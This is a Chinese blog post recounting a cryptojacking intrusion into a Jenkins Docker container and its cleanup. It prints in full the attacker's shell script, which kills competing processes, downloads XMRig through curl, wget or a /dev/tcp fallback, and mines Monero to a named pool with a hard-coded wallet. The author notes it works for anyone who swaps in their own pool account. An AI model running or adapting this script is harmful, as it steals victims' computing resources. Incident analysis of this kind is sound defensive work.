服务器CPU达到100%居高不下,查询时间发现情况持续了不止一天,最后发现是Jenkins漏洞导致的挖矿程序入侵
Jenkins容器遭到挖矿程序入侵后的梳理和解决
起因
服务器CPU达到100%居高不下,查询时间发现情况持续了不止一天
揪出来原因
通过定位发现占用CPU的是Jenkins的Docker容器,使用命令进入容器
1
| docker exec -it jenkins-server /bin/bash
|
然后使用
发现有一个程序占用异常的高
1
| ./trace -r 2 -R 2 --keepalive --no-color --donate-level 1 --max-cpu-usage 100 --cpu-priority 3 --print-time 25 --threads 1 --url pool.minexmr.com:4444 --user 44uNsPQyuLZEcfoAzs3Y78f942zLGkH8W6xAbZKU1PQ8bE35ud3kUr82c7WtYaa6FDezVLcVaZ5RJPENgQCShYsKMgckdku --pass x --keepalive
|
和他同一时间启动的还有一个脚本
1
| /bin/bash /tmp/jenkins6638567374534053250.sh
|
找到这个文件看看(不要自己运行):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| #!/bin/bash
if [[ $(whoami) != "root" ]]; then for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do kill -9 $tr || : ; done; fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1); hostHash=$(hostname -f | md5sum | cut -c1-8); echo "${hostHash} - ${threadCount}";
_curl () { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3 (while read line; do [[ "$line" == $'\r' ]] && break done && cat) <&3 exec 3>&- }
rm -rf config.json;
d () { curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $ 2; }
test ! -s trace && \ d https://github.com/xmrig/xmrig/releases/download/v6.4.0/xmrig-6.4.0-linux-x64.tar.gz trace.tgz && \ tar -zxvf trace.tgz && \ mv xmrig-6.4.0/xmrig trace && \ rm -rf xmrig-6.4.0 && \ rm -rf trace.tgz;
test ! -x trace && chmod +x trace;
k() { ./trace \ -r 2 \ -R 2 \ --keepalive \ --no-color \ --donate-level 1 \ --max-cpu-usage 100 \ --cpu-priority 3 \ --print-time 25 \ --threads ${threadCount:-4} \ --url $1 \ --user 44uNsPQyuLZEcfoAzs3Y78f942zLGkH8W6xAbZKU1PQ8bE35ud3kUr82c7WtYaa6FDezVLcVaZ5RJPENgQCShYsKMgckdku \ --pass x \ --keepalive }
k pool.minexmr.com:4444
|
github项目的地址是一个挖矿程序,https://minexmr.com网址打开后发现是一个门罗币的矿池,脚本原理应该很清晰了:
这是一个比较通用的脚本,只需要在这个矿池注册账号拿到(–user)后面的东西就可以替换运行
入侵方式猜测
应该是Jenkins的漏洞,根据搜索引擎的帮助,可能是通过穷举法暴力破解Jenkins的密码进行注入
操作和防范
首先删除workspace目录下多出来的那个目录securejenkins,然后kill掉那两个进程
登录Jenkins修改了下授权策略(之前忘了密码所以修改这个来修改密码但是忘了改回来),改为[登录用户可以做任何事]
此为博主副博客,留言请去主博客,转载请注明出处:https://www.baby7blog.com/myBlog/105.html